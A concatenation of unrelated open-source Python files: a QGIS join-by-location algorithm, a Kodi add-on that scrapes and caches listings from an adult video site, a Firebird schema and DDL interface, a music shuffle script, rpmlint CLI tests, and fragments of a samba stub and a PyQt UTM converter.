Indicate the returned password was incorrect.
"""
return False
def __init__(self, *args, **kwargs): # real signature unknown
pass
@staticmethod # known case of __new__
def __new__(S, *more): # real signature unknown; restored from __doc__
""" T.__new__(S, ...) -> a new object with type S, a subtype of T """
pass
|
ProfessorX/Config
|
.PyCharm30/system/python_stubs/-1247972723/samba/credentials.py
|
Python
|
gpl-2.0
| 4,756
|
# -*- coding: utf-8 -*-
"""
***************************************************************************
SpatialJoin.py
---------------------
Date : October 2013
Copyright : (C) 2013 by Joshua Arnott
Email : josh at snorfalorpagus dot net
***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************
"""
from builtins import str
from builtins import zip
from builtins import range
__author__ = 'Joshua Arnott'
__date__ = 'October 2013'
__copyright__ = '(C) 2013, Joshua Arnott'
# This will get replaced with a git SHA1 when you do a git archive
__revision__ = '$Format:%H$'
import os
from qgis.PyQt.QtGui import QIcon
from qgis.PyQt.QtCore import QVariant
from qgis.core import QgsFields, QgsField, QgsFeature, QgsGeometry, NULL, QgsWkbTypes
from processing.core.GeoAlgorithm import GeoAlgorithm
from processing.core.parameters import ParameterVector
from processing.core.parameters import ParameterNumber
from processing.core.parameters import ParameterSelection
from processing.core.parameters import ParameterString
from processing.core.outputs import OutputVector
from processing.tools import dataobjects, vector
pluginPath = os.path.split(os.path.split(os.path.dirname(__file__))[0])[0]
class SpatialJoin(GeoAlgorithm):
TARGET = "TARGET"
JOIN = "JOIN"
PREDICATE = "PREDICATE"
PRECISION = 'PRECISION'
SUMMARY = "SUMMARY"
STATS = "STATS"
KEEP = "KEEP"
OUTPUT = "OUTPUT"
def getIcon(self):
return QIcon(os.path.join(pluginPath, 'images', 'ftools', 'join_location.png'))
def defineCharacteristics(self):
self.name, self.i18n_name = self.trAlgorithm('Join attributes by location')
self.group, self.i18n_group = self.trAlgorithm('Vector general tools')
self.predicates = (
('intersects', self.tr('intersects')),
('contains', self.tr('contains')),
('equals', self.tr('equals')),
('touches', self.tr('touches')),
('overlaps', self.tr('overlaps')),
('within', self.tr('within')),
('crosses', self.tr('crosses')))
self.summarys = [
self.tr('Take attributes of the first located feature'),
self.tr('Take summary of intersecting features')
]
self.keeps = [
self.tr('Only keep matching records'),
self.tr('Keep all records (including non-matching target records)')
]
self.addParameter(ParameterVector(self.TARGET,
self.tr('Target vector layer')))
self.addParameter(ParameterVector(self.JOIN,
self.tr('Join vector layer')))
self.addParameter(ParameterSelection(self.PREDICATE,
self.tr('Geometric predicate'),
self.predicates,
multiple=True))
self.addParameter(ParameterNumber(self.PRECISION,
self.tr('Precision'),
0.0, None, 0.0))
self.addParameter(ParameterSelection(self.SUMMARY,
self.tr('Attribute summary'), self.summarys))
self.addParameter(ParameterString(self.STATS,
self.tr('Statistics for summary (comma separated)'),
'sum,mean,min,max,median', optional=True))
self.addParameter(ParameterSelection(self.KEEP,
self.tr('Joined table'), self.keeps))
self.addOutput(OutputVector(self.OUTPUT, self.tr('Joined layer')))
def processAlgorithm(self, feedback):
target = dataobjects.getObjectFromUri(
self.getParameterValue(self.TARGET))
join = dataobjects.getObjectFromUri(
self.getParameterValue(self.JOIN))
predicates = self.getParameterValue(self.PREDICATE)
precision = self.getParameterValue(self.PRECISION)
summary = self.getParameterValue(self.SUMMARY) == 1
keep = self.getParameterValue(self.KEEP) == 1
sumList = self.getParameterValue(self.STATS).lower().split(',')
targetFields = target.fields()
joinFields = join.fields()
fieldList = QgsFields()
if not summary:
joinFields = vector.testForUniqueness(targetFields, joinFields)
seq = list(range(len(targetFields) + len(joinFields)))
targetFields.extend(joinFields)
targetFields = dict(list(zip(seq, targetFields)))
else:
numFields = {}
for j in range(len(joinFields)):
if joinFields[j].type() in [QVariant.Int, QVariant.Double, QVariant.LongLong, QVariant.UInt, QVariant.ULongLong]:
numFields[j] = []
for i in sumList:
field = QgsField(i + str(joinFields[j].name()), QVariant.Double, '', 24, 16)
fieldList.append(field)
field = QgsField('count', QVariant.Double, '', 24, 16)
fieldList.append(field)
joinFields = vector.testForUniqueness(targetFields, fieldList)
targetFields.extend(fieldList)
seq = list(range(len(targetFields)))
targetFields = dict(list(zip(seq, targetFields)))
fields = QgsFields()
for f in list(targetFields.values()):
fields.append(f)
writer = self.getOutputFromName(self.OUTPUT).getVectorWriter(
fields, target.wkbType(), target.crs())
outFeat = QgsFeature()
inFeatB = QgsFeature()
inGeom = QgsGeometry()
index = vector.spatialindex(join)
mapP2 = dict()
features = vector.features(join)
for f in features:
mapP2[f.id()] = QgsFeature(f)
features = vector.features(target)
total = 100.0 / len(features)
for c, f in enumerate(features):
atMap1 = f.attributes()
outFeat.setGeometry(f.geometry())
inGeom = vector.snapToPrecision(f.geometry(), precision)
none = True
joinList = []
if inGeom.type() == QgsWkbTypes.PointGeometry:
bbox = inGeom.buffer(10, 2).boundingBox()
else:
bbox = inGeom.boundingBox()
bufferedBox = vector.bufferedBoundingBox(bbox, 0.51 * precision)
joinList = index.intersects(bufferedBox)
if len(joinList) > 0:
count = 0
for i in joinList:
inFeatB = mapP2[i]
inGeomB = vector.snapToPrecision(inFeatB.geometry(), precision)
res = False
for predicate in predicates:
res = getattr(inGeom, predicate)(inGeomB)
if res:
break
if res:
count = count + 1
none = False
atMap2 = inFeatB.attributes()
if not summary:
atMap = atMap1
atMap2 = atMap2
atMap.extend(atMap2)
atMap = dict(list(zip(seq, atMap)))
break
else:
for j in list(numFields.keys()):
numFields[j].append(atMap2[j])
if summary and not none:
atMap = atMap1
for j in list(numFields.keys()):
for k in sumList:
if k == 'sum':
atMap.append(sum(self._filterNull(numFields[j])))
elif k == 'mean':
try:
nn_count = sum(1 for _ in self._filterNull(numFields[j]))
atMap.append(sum(self._filterNull(numFields[j])) / nn_count)
except ZeroDivisionError:
atMap.append(NULL)
elif k == 'min':
try:
atMap.append(min(self._filterNull(numFields[j])))
except ValueError:
atMap.append(NULL)
elif k == 'median':
atMap.append(self._median(numFields[j]))
else:
try:
atMap.append(max(self._filterNull(numFields[j])))
except ValueError:
atMap.append(NULL)
numFields[j] = []
atMap.append(count)
atMap = dict(list(zip(seq, atMap)))
if none:
outFeat.setAttributes(atMap1)
else:
outFeat.setAttributes(list(atMap.values()))
if keep:
writer.addFeature(outFeat)
else:
if not none:
writer.addFeature(outFeat)
feedback.setProgress(int(c * total))
del writer
def _filterNull(self, values):
"""Takes an iterator of values and returns a new iterator
returning the same values but skipping any NULL values"""
return (v for v in values if v != NULL)
def _median(self, data):
count = len(data)
if count == 1:
return data[0]
data.sort()
median = 0
if count > 1:
if (count % 2) == 0:
median = 0.5 * ((data[count / 2 - 1]) + (data[count / 2]))
else:
median = data[(count + 1) / 2 - 1]
return median
|
myarjunar/QGIS
|
python/plugins/processing/algs/qgis/SpatialJoin.py
|
Python
|
gpl-2.0
| 10,601
|
#!/usr/bin/python
# encoding=utf8
"""
Copyright (C) 2018 MuadDib
----------------------------------------------------------------------------
"THE BEER-WARE LICENSE" (Revision 42):
@tantrumdev wrote this file. As long as you retain this notice you can do
whatever you want with this stuff. Just Ask first when not released through
the tools and parser GIT. If we meet some day, and you think this stuff is
worth it, you can buy him a beer in return. - Muad'Dib
----------------------------------------------------------------------------
Changelog:
2018.7.2:
- Added Clear Cache function
- Minor update on fetch cache returns
2018.6.21:
- Added caching to primary menus (Cache time is 3 hours)
Usage Examples:
<dir>
<title>HD Videos</title>
<cobp>tag/hd-porn/newest</cobp>
</dir>
<dir>
<title>Most Popular</title>
<cobp>most-viewed</cobp>
</dir>
<dir>
<title>Most Recent</title>
<cobp>most-recent</cobp>
</dir>
<dir>
<title>Amateur</title>
<cobp>category/amateur</cobp>
</dir>
<dir>
<title>Anal</title>
<cobp>category/anal</cobp>
</dir>
<dir>
<title>Asian</title>
<cobp>category/asian</cobp>
</dir>
"""
import __builtin__
import base64,time
import json,re,requests,os,traceback,urlparse
import koding
import xbmc,xbmcaddon,xbmcgui
from koding import route
from resources.lib.plugin import Plugin
from resources.lib.util import dom_parser
from resources.lib.util.context import get_context_items
from resources.lib.util.xml import JenItem, JenList, display_list
from unidecode import unidecode
CACHE_TIME = 10800 # change to wanted cache time in seconds
addon_fanart = xbmcaddon.Addon().getAddonInfo('fanart')
addon_icon = xbmcaddon.Addon().getAddonInfo('icon')
next_icon = os.path.join(xbmc.translatePath(xbmcaddon.Addon().getAddonInfo('path')), 'resources', 'media', 'next.png')
User_Agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36'
class COBP(Plugin):
name = "cobp"
def process_item(self, item_xml):
if "<cobp>" in item_xml:
item = JenItem(item_xml)
if "http" in item.get("cobp", ""):
result_item = {
'label': item["title"],
'icon': item.get("thumbnail", addon_icon),
'fanart': item.get("fanart", addon_fanart),
'mode': "PlayVideo",
'url': item.get("cobp", ""),
'folder': False,
'imdb': "0",
'content': "files",
'season': "0",
'episode': "0",
'info': {},
'year': "0",
'context': get_context_items(item),
"summary": item.get("summary", None)
}
elif "category/" in item.get("cobp", ""):
result_item = {
'label': item["title"],
'icon': item.get("thumbnail", addon_icon),
'fanart': item.get("fanart", addon_fanart),
'mode': "COBP",
'url': item.get("cobp", ""),
'folder': True,
'imdb': "0",
'content': "files",
'season': "0",
'episode': "0",
'info': {},
'year': "0",
'context': get_context_items(item),
"summary": item.get("summary", None)
}
elif "tag/" in item.get("cobp", ""):
result_item = {
'label': item["title"],
'icon': item.get("thumbnail", addon_icon),
'fanart': item.get("fanart", addon_fanart),
'mode': "COBP",
'url': item.get("cobp", ""),
'folder': True,
'imdb': "0",
'content': "files",
'season': "0",
'episode': "0",
'info': {},
'year': "0",
'context': get_context_items(item),
"summary": item.get("summary", None)
}
elif "most-" in item.get("cobp", ""):
result_item = {
'label': item["title"],
'icon': item.get("thumbnail", addon_icon),
'fanart': item.get("fanart", addon_fanart),
'mode': "COBP",
'url': item.get("cobp", ""),
'folder': True,
'imdb': "0",
'content': "files",
'season': "0",
'episode': "0",
'info': {},
'year': "0",
'context': get_context_items(item),
"summary": item.get("summary", None)
}
result_item["properties"] = {
'fanart_image': result_item["fanart"]
}
result_item['fanart_small'] = result_item["fanart"]
return result_item
def clear_cache(self):
dialog = xbmcgui.Dialog()
if dialog.yesno(xbmcaddon.Addon().getAddonInfo('name'), "Clear COBP Plugin Cache?"):
koding.Remove_Table("cobp_com_plugin")
@route(mode='COBP', args=["url"])
def get_stream(url):
url = urlparse.urljoin('http://collectionofbestporn.com/', url)
xml = fetch_from_db(url)
if not xml:
xml = ""
try:
headers = {'User_Agent':User_Agent}
html = requests.get(url,headers=headers).content
vid_divs = dom_parser.parseDOM(html, 'div', attrs={'class':'video-item col-sm-5 col-md-4 col-xs-10'})
count = 0
for vid_section in vid_divs:
thumb_div = dom_parser.parseDOM(vid_section, 'div', attrs={'class':'video-thumb'})[0]
thumbnail = re.compile('<img src="(.+?)"',re.DOTALL).findall(str(thumb_div))[0]
vid_page_url = re.compile('href="(.+?)"',re.DOTALL).findall(str(thumb_div))[0]
title_div = dom_parser.parseDOM(vid_section, 'div', attrs={'class':'title'})[0]
title = remove_non_ascii(re.compile('title="(.+?)"',re.DOTALL).findall(str(title_div))[0])
count += 1
xml += "<item>"\
" <title>%s</title>"\
" <meta>"\
" <summary>%s</summary>"\
" </meta>"\
" <cobp>%s</cobp>"\
" <thumbnail>%s</thumbnail>"\
"</item>" % (title,title,vid_page_url,thumbnail)
try:
pagination = dom_parser.parseDOM(html, 'li', attrs={'class':'next'})[0]
next_page = dom_parser.parseDOM(pagination, 'a', ret='href')[0]
xml += "<dir>"\
" <title>Next Page</title>"\
" <meta>"\
" <summary>Click here for more porn bitches!</summary>"\
" </meta>"\
" <cobp>%s</cobp>"\
" <thumbnail>%s</thumbnail>"\
"</dir>" % (next_page,next_icon)
except:
pass
save_to_db(xml, url)
except:
pass
jenlist = JenList(xml)
display_list(jenlist.get_list(), jenlist.get_content_type())
@route(mode='PlayVideo', args=["url"])
def play_source(url):
try:
headers = {'User_Agent':User_Agent}
vid_html = requests.get(url,headers=headers).content
sources = dom_parser.parseDOM(vid_html, 'source', ret='src')
vid_url = sources[len(sources)-1]
xbmc.executebuiltin("PlayMedia(%s)" % vid_url)
except:
return
def save_to_db(item, url):
if not item or not url:
return False
try:
koding.reset_db()
koding.Remove_From_Table(
"cobp_com_plugin",
{
"url": url
})
koding.Add_To_Table("cobp_com_plugin",
{
"url": url,
"item": base64.b64encode(item),
"created": time.time()
})
except:
return False
def fetch_from_db(url):
koding.reset_db()
cobp_plugin_spec = {
"columns": {
"url": "TEXT",
"item": "TEXT",
"created": "TEXT"
},
"constraints": {
"unique": "url"
}
}
koding.Create_Table("cobp_com_plugin", cobp_plugin_spec)
match = koding.Get_From_Table(
"cobp_com_plugin", {"url": url})
if match:
match = match[0]
if not match["item"]:
return None
created_time = match["created"]
if created_time and float(created_time) + CACHE_TIME >= time.time():
match_item = match["item"]
try:
result = base64.b64decode(match_item)
except:
return None
return result
else:
return None
else:
return None
def remove_non_ascii(text):
return unidecode(text)
|
repotvsupertuga/tvsupertuga.repository
|
plugin.video.TVsupertuga/resources/lib/plugins/cobp.py
|
Python
|
gpl-2.0
| 9,604
|
#! /usr/bin/env python
# -*- coding: iso-8859-1 -*-
from downloadCommon import DownloadCommon, getSeqName
from DdlCommonInterface import DdlCommonInterface
import re
class FbDownloader(DownloadCommon):
def __init__(self):
self.strDbms = 'firebird'
def connect(self, info):
try:
import kinterbasdb
except:
print "Missing Firebird support through kinterbasdb"
return
self.strDbms = 'firebird'
self.version = info['version']
self.conn = kinterbasdb.connect(
dsn='localhost:%s' % info['dbname'],
user = info['user'],
password = info['pass'])
self.cursor = self.conn.cursor()
def useConnection(self, con, version):
self.conn = con
self.version = version
self.cursor = self.conn.cursor()
def getTables(self, tableList):
""" Returns the list of tables as a array of strings """
strQuery = "SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$SYSTEM_FLAG=0 AND RDB$VIEW_SOURCE IS NULL;"
self.cursor.execute(strQuery)
return self._confirmReturns([x[0].strip() for x in self.cursor.fetchall() ], tableList)
def getTableColumns(self, strTable):
""" Returns column in this format
(nColIndex, strColumnName, strColType, CHARACTER_MAXIMUM_LENGTH, NUMERIC_PRECISION, bNotNull, strDefault, auto_increment)
"""
strSql = """
SELECT RF.RDB$FIELD_POSITION, RF.RDB$FIELD_NAME, RDB$FIELD_TYPE, F.RDB$FIELD_LENGTH,
RDB$FIELD_PRECISION, RDB$FIELD_SCALE, RF.RDB$NULL_FLAG, RF.RDB$DEFAULT_SOURCE, F.RDB$FIELD_SUB_TYPE
FROM RDB$RELATION_FIELDS RF, RDB$FIELDS F
WHERE RF.RDB$RELATION_NAME = ?
AND RF.RDB$FIELD_SOURCE = F.RDB$FIELD_NAME
ORDER BY RF.RDB$FIELD_POSITION;"""
self.cursor.execute(strSql, [strTable])
rows = self.cursor.fetchall()
ret = []
# TODO auto_increment
bAutoIncrement = False
for row in rows:
attnum, name, nType, size, numsize, scale, attnull, default, sub_type = row
if scale and scale < 0:
scale = -scale
if not size and numprecradix == 10:
size = numsize
strType = self.convertTypeId(nType)
if sub_type == 1:
strType = 'numeric'
elif sub_type == 2:
strType = 'decimal'
if numsize > 0:
size = numsize
numsize = None
if strType == 'integer' and size == 4:
size = None
elif strType == 'date' and size == 4:
size = None
elif strType == 'float' and size == 4:
size = None
if default:
# Remove the 'DEFAULT ' part of the SQL
default = default.replace('DEFAULT ', '')
if self.hasAutoincrement(strTable, name):
bAutoIncrement = True
else:
bAutoIncrement = False
ret.append((name.strip(), strType, size, scale, attnull, default, bAutoIncrement))
return ret
def convertTypeId(self, nType):
types = {
261: 'blob',
14 : 'char',
40 : 'cstring',
11 : 'd_float',
27 : 'double',
10 : 'float',
16 : 'int64',
8 : 'integer',
9 : 'quad',
7 : 'smallint',
12 : 'date',
13 : 'time',
35 : 'timestamp',
37 : 'varchar',
}
strType = ''
if nType in types:
strType = types[nType]
if nType not in [14, 40, 37]:
size = None
else:
print "Uknown type %d" % (nType)
return strType
def hasAutoincrement(self, strTableName, strColName):
strSql = "SELECT RDB$GENERATOR_NAME FROM RDB$GENERATORS WHERE UPPER(RDB$GENERATOR_NAME)=UPPER(?);"
self.cursor.execute(strSql, [getSeqName(strTableName, strColName)[0:31]])
rows = self.cursor.fetchall()
if rows:
return True
return False
def getTableComment(self, strTableName):
""" Returns the comment as a string """
strSql = "SELECT RDB$DESCRIPTION FROM RDB$RELATIONS WHERE RDB$RELATION_NAME=?;"
self.cursor.execute(strSql, [strTableName])
rows = self.cursor.fetchall()
if rows:
return rows[0][0]
return None
def getColumnComment(self, strTableName, strColumnName):
""" Returns the comment as a string """
strSql = """SELECT RDB$DESCRIPTION
FROM RDB$RELATION_FIELDS
WHERE RDB$RELATION_NAME = ? AND RDB$FIELD_NAME = ?"""
self.cursor.execute(strSql, [strTableName, strColumnName])
rows = self.cursor.fetchall()
if rows:
return rows[0][0]
return None
def getTableIndexes(self, strTableName):
""" Returns
(strIndexName, [strColumns,], bIsUnique, bIsPrimary, bIsClustered)
or []
Warning the Primary key constraint cheats by knowing the name probably starts with pk_
"""
strSql = """SELECT RDB$INDEX_NAME, RDB$UNIQUE_FLAG
FROM RDB$INDICES
WHERE RDB$RELATION_NAME = '%s'
""" % (strTableName)
self.cursor.execute(strSql)
rows = self.cursor.fetchall()
ret = []
if not rows:
return ret
for row in rows:
(strIndexName, bIsUnique) = row
colList = self._fetchTableColumnsForIndex(strIndexName)
if strIndexName.lower().startswith('pk_'):
bIsPrimary = True
else:
bIsPrimary = False
strIndexName = strIndexName.strip()
ret.append((strIndexName, colList, bIsUnique, bIsPrimary, None))
return ret
def _fetchTableColumnsForIndex(self, strIndexName):
strSql = """SELECT RDB$FIELD_NAME
FROM RDB$INDEX_SEGMENTS
WHERE RDB$INDEX_NAME = ?
ORDER BY RDB$FIELD_POSITION
"""
self.cursor.execute(strSql, [strIndexName.strip()])
rows = self.cursor.fetchall()
return [row[0].strip() for row in rows]
def getTableRelations(self, strTableName):
""" Returns
(strConstraintName, colName, fk_table, fk_columns)
or []
"""
strSql = """SELECT RDB$CONSTRAINT_NAME
FROM RDB$RELATION_CONSTRAINTS
WHERE RDB$RELATION_NAME = '%s'
""" % (strTableName)
self.cursor.execute(strSql)
rows = self.cursor.fetchall()
ret = []
if not rows:
return ret
return ret
def _fetchTableColumnsNamesByNums(self, strTableName, nums):
strSql = """
SELECT pa.attname
FROM pg_attribute pa, pg_class pc
WHERE pa.attrelid = pc.oid
AND pa.attisdropped = 'f'
AND pc.relname = %s
AND pc.relkind = 'r'
AND pa.attnum in (%s)
ORDER BY pa.attnum
""" % ( '%s', ','.join(['%s' for num in nums]) )
self.cursor.execute(strSql, [strTableName] + nums)
rows = self.cursor.fetchall()
return [row[0] for row in rows]
def _decodeLength(self, type, atttypmod):
# gleamed from http://www.postgresql-websource.com/psql713/source-format_type.htm
VARHDRSZ = 4
if type == 'varchar':
return (atttypmod - VARHDRSZ, None)
if type == 'numeric':
atttypmod -= VARHDRSZ
return ( (atttypmod >> 16) & 0xffff, atttypmod & 0xffff)
if type == 'varbit' or type == 'bit':
return (atttypmod, None)
return (None, None)
def getViews(self, viewList):
strQuery = "SELECT RDB$VIEW_NAME FROM RDB$VIEW_RELATIONS"
#TODO add viewList constraint
self.cursor.execute(strQuery)
return self._confirmReturns([x[0].strip() for x in self.cursor.fetchall() ], viewList)
def getViewDefinition(self, strViewName):
strQuery = "SELECT RDB$RELATION_NAME, RDB$VIEW_SOURCE FROM RDB$RELATIONS WHERE RDB$RELATION_NAME = UPPER(?)"
self.cursor.execute(strQuery, [strViewName])
rows = self.cursor.fetchall()
if rows:
ret = rows[0][1].strip()
return ret
return ''
def getFunctions(self, functionList):
#strQuery = "SELECT RDB$FUNCTION_NAME FROM RDB$FUNCTIONS WHERE RDB$SYSTEM_FLAG = 0"
#TODO add functionList constraint
strQuery = "SELECT RDB$PROCEDURE_NAME FROM RDB$PROCEDURES WHERE RDB$SYSTEM_FLAG = 0"
self.cursor.execute(strQuery)
rows = self.cursor.fetchall()
return self._confirmReturns([x[0].strip() for x in rows], functionList)
def getFunctionDefinition(self, strSpecifiName):
""" Returns (routineName, parameters, return, language, definition) """
strQuery = "SELECT RDB$PROCEDURE_NAME, RDB$PROCEDURE_SOURCE FROM RDB$PROCEDURES WHERE RDB$SYSTEM_FLAG = 0 AND RDB$PROCEDURE_NAME = upper(?)"
self.cursor.execute(strQuery, [strSpecifiName])
rows = self.cursor.fetchall()
strProcName, strDefinition = rows[0]
strDefinition = strDefinition.strip()
strProcName = strProcName.strip()
strQuery = """SELECT PP.RDB$PARAMETER_NAME, PP.RDB$FIELD_SOURCE, PP.RDB$PARAMETER_TYPE, F.RDB$FIELD_TYPE, F.RDB$FIELD_LENGTH, F.RDB$FIELD_PRECISION, RDB$FIELD_SCALE
FROM RDB$PROCEDURE_PARAMETERS PP, RDB$FIELDS F
WHERE PP.RDB$PROCEDURE_NAME = upper(?)
AND PP.RDB$FIELD_SOURCE = F.RDB$FIELD_NAME
ORDER BY PP.RDB$PARAMETER_NUMBER"""
self.cursor.execute(strQuery, [strSpecifiName])
rows = self.cursor.fetchall()
args = []
rets = []
for row in rows:
strParamName, strSrc, nParamType, nType, nLen, nPrecision, nScale = row
strParamName = strParamName.strip().lower()
strSrc = strSrc.strip()
strType = self.convertTypeId(nType)
if nParamType == 0:
args.append(strParamName + ' ' + strType)
else:
if strParamName.lower() == 'ret':
rets.append(strType)
else:
rets.append(strParamName + ' ' + strType)
return (strProcName.lower(), args, ','.join(rets), '', strDefinition)
class DdlFirebird(DdlCommonInterface):
def __init__(self):
DdlCommonInterface.__init__(self, 'firebird')
self.params['max_id_len'] = { 'default' : 256 }
self.params['table_desc'] = ["UPDATE RDB$RELATIONS SET RDB$DESCRIPTION = %(desc)s\n\tWHERE RDB$RELATION_NAME = upper('%(table)s')"]
self.params['column_desc'] = ["UPDATE RDB$RELATION_FIELDS SET RDB$DESCRIPTION = %(desc)s\n\tWHERE RDB$RELATION_NAME = upper('%(table)s') AND RDB$FIELD_NAME = upper('%(column)s')"]
self.params['drop_constraints_on_col_rename'] = True
self.params['drop_table_has_cascade'] = False
self.params['alter_default'] = ['ALTER TABLE %(table_name)s ALTER %(column_name)s TYPE %(column_type)s']
self.params['rename_column'] = ['ALTER TABLE %(table_name)s ALTER %(old_col_name)s TO %(new_col_name)s']
self.params['alter_default'] = ['ALTER TABLE %(table_name)s ALTER COLUMN %(column_name)s SET DEFAULT %(new_default)s']
self.params['keywords'] = """
ACTION ACTIVE ADD ADMIN AFTER ALL ALTER AND ANY AS ASC ASCENDING AT AUTO AUTODDL AVG BASED BASENAME BASE_NAME
BEFORE BEGIN BETWEEN BLOB BLOBEDIT BUFFER BY CACHE CASCADE CAST CHAR CHARACTER CHARACTER_LENGTH CHAR_LENGTH
CHECK CHECK_POINT_LEN CHECK_POINT_LENGTH COLLATE COLLATION COLUMN COMMIT COMMITTED COMPILETIME COMPUTED CLOSE
CONDITIONAL CONNECT CONSTRAINT CONTAINING CONTINUE COUNT CREATE CSTRING CURRENT CURRENT_DATE CURRENT_TIME
CURRENT_TIMESTAMP CURSOR DATABASE DATE DAY DB_KEY DEBUG DEC DECIMAL DECLARE DEFAULT
DELETE DESC DESCENDING DESCRIBE DESCRIPTOR DISCONNECT DISPLAY DISTINCT DO DOMAIN DOUBLE DROP ECHO EDIT ELSE
END ENTRY_POINT ESCAPE EVENT EXCEPTION EXECUTE EXISTS EXIT EXTERN EXTERNAL EXTRACT FETCH FILE FILTER FLOAT
FOR FOREIGN FOUND FREE_IT FROM FULL FUNCTION GDSCODE GENERATOR GEN_ID GLOBAL GOTO GRANT GROUP GROUP_COMMIT_WAIT
GROUP_COMMIT_ WAIT_TIME HAVING HELP HOUR IF IMMEDIATE IN INACTIVE INDEX INDICATOR INIT INNER INPUT INPUT_TYPE
INSERT INT INTEGER INTO IS ISOLATION ISQL JOIN KEY LC_MESSAGES LC_TYPE LEFT LENGTH LEV LEVEL LIKE LOGFILE
LOG_BUFFER_SIZE LOG_BUF_SIZE LONG MANUAL MAX MAXIMUM MAXIMUM_SEGMENT MAX_SEGMENT MERGE MESSAGE MIN MINIMUM
MINUTE MODULE_NAME MONTH NAMES NATIONAL NATURAL NCHAR NO NOAUTO NOT NULL NUMERIC NUM_LOG_BUFS NUM_LOG_BUFFERS
OCTET_LENGTH OF ON ONLY OPEN OPTION OR ORDER OUTER OUTPUT OUTPUT_TYPE OVERFLOW PAGE PAGELENGTH PAGES PAGE_SIZE
PARAMETER PASSWORD PLAN POSITION POST_EVENT PRECISION PREPARE PROCEDURE PROTECTED PRIMARY PRIVILEGES PUBLIC QUIT
RAW_PARTITIONS RDB$DB_KEY READ REAL RECORD_VERSION REFERENCES RELEASE RESERV RESERVING RESTRICT RETAIN RETURN
RETURNING_VALUES RETURNS REVOKE RIGHT ROLE ROLLBACK RUNTIME SCHEMA SECOND SEGMENT SELECT SET SHADOW SHARED SHELL
SHOW SINGULAR SIZE SMALLINT SNAPSHOT SOME SORT SQLCODE SQLERROR SQLWARNING STABILITY STARTING STARTS STATEMENT
STATIC STATISTICS SUB_TYPE SUM SUSPEND TABLE TERMINATOR THEN TIME TIMESTAMP TO TRANSACTION TRANSLATE TRANSLATION
TRIGGER TRIM TYPE UNCOMMITTED UNION UNIQUE UPDATE UPPER USER USING VALUE VALUES VARCHAR VARIABLE VARYING VERSION
VIEW WAIT WEEKDAY WHEN WHENEVER WHERE WHILE WITH WORK WRITE YEAR YEARDAY""".split()
# Note you need to remove the constraints like:
# alter table table1 drop constraint pk_table1;
# before dropping the table (what a pain)
def addFunction(self, strNewFunctionName, argumentList, strReturn, strContents, attribs, diffs):
argumentList = [ '%s' % arg for arg in argumentList ]
info = {
'functionname' : self.quoteName(strNewFunctionName),
'arguments' : ', '.join(argumentList),
'returns' : strReturn,
'contents' : strContents.replace("'", "''"),
'language' : '',
}
if 'language' in attribs:
info['language'] = ' LANGUAGE %s' % (attribs['language'])
diffs.append(('Add function', # OR REPLACE
"CREATE PROCEDURE %(functionname)s(%(arguments)s) RETURNS (ret %(returns)s) AS \n%(contents)s;" % info )
)
def dropFunction(self, strOldFunctionName, argumentList, diffs):
info = {
'functionname' : self.quoteName(strOldFunctionName),
}
diffs.append(('Drop function',
'DROP PROCEDURE %(functionname)s' % info )
)
|
BackupTheBerlios/xml2ddl-svn
|
xml2ddl/FirebirdInterface.py
|
Python
|
gpl-2.0
| 15,609
|
#!/usr/bin/env python
import os.path
import time
import transmission as send
import shelving as db
def first_check():
if os.path.isfile('check.db') == False:
db.prime()
else:
if send.passthru(['mode','?']) == 'play':
db.update_shelf()
else:
perform_start_tasks()
def perform_start_tasks():
last_known_check = db.query('time')
last_known_song = db.query('song')
last_known_prog = db.query('prog')
time_without = time.time() - int(last_known_check)
if last_known_song == 'PRIMED':
send.passthru(['randomplay','tracks'])
else:
if (time_without < 600):
send.passthru(['playlist','add',last_known_song])
send.passthru(['play','5'])
send.passthru(['time',last_known_prog])
send.rp_add()
db.update_shelf()
else:
send.passthru(['rescan'])
time.sleep(2)
send.passthru(['randomplay','tracks'])
db.update_shelf()
|
NovaXeros/OpelSqueeze
|
lib/smartshuffle.py
|
Python
|
gpl-2.0
| 859
|
from pathlib import PosixPath
import pytest
from rpmlint.cli import process_lint_args
from rpmlint.config import Config
from rpmlint.lint import Lint
@pytest.mark.parametrize('test_arguments', [['-c', 'rpmlint/configs/thisdoesntexist.toml']])
def test_parsing_non_existing_config_file(test_arguments):
with pytest.raises(SystemExit) as exc:
process_lint_args(test_arguments)
assert exc.value.code == 2
@pytest.mark.parametrize('test_arguments', [['-c', 'rpmlint/configdefaults.toml']])
def test_parsing_config_file(test_arguments):
parsed = process_lint_args(test_arguments)
assert len(parsed['config']) == 1
assert parsed['config'][0] == PosixPath('rpmlint/configdefaults.toml')
@pytest.mark.parametrize('test_arguments', [['-c', 'configs/openSUSE']])
def test_parsing_opensuse_conf(test_arguments):
parsed = process_lint_args(test_arguments)
assert len(parsed['config']) == 7
assert PosixPath('configs/openSUSE/opensuse.toml') in parsed['config']
assert PosixPath('configs/openSUSE/licenses.toml') in parsed['config']
assert PosixPath('configs/openSUSE/pie-executables.toml') in parsed['config']
defaultcfg = Config()
lint = Lint(parsed)
default_checks = defaultcfg.configuration['Checks']
checks = lint.config.configuration['Checks']
# Verify that all original Checks are enabled and some new are added
for check in default_checks:
assert check in checks
assert len(checks) > len(default_checks)
# Verify that all scoring keys are a known checks
checks = set(lint.output.error_details.keys())
checks |= set(defaultcfg.configuration['Descriptions'].keys())
score_keys = lint.config.configuration['Scoring'].keys()
for score_key in score_keys:
if score_key.startswith('percent-in-'):
continue
assert score_key in checks
|
matwey/rpmlint
|
test/test_cli.py
|
Python
|
gpl-2.0
| 1,865
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Created on 17/2/2015
@author: Antonio Hermosilla Rodrigo.
@contact: anherro285@gmail.com
@organization: Antonio Hermosilla Rodrigo.
@copyright: (C) 2015 by Antonio Hermosilla Rodrigo
@version: 1.0.0
'''
import sys
from PyQt4 import QtCore
from PyQt4 import QtGui
from PyQt4 import uic
from os import sep,pardir,getcwd
from os.path import normpath
import Geometrias.PuntoUTM
import Proyecciones.UTM2Geo
import Geodesia.EGM.CalcularOndulacion
class UTM2Geo(QtGui.QWidget):
'''
classdocs
'''
__rutaroot=None
__msgBoxErr=None
__pLat=None
__pLon=None
__pw=None
__pN=None
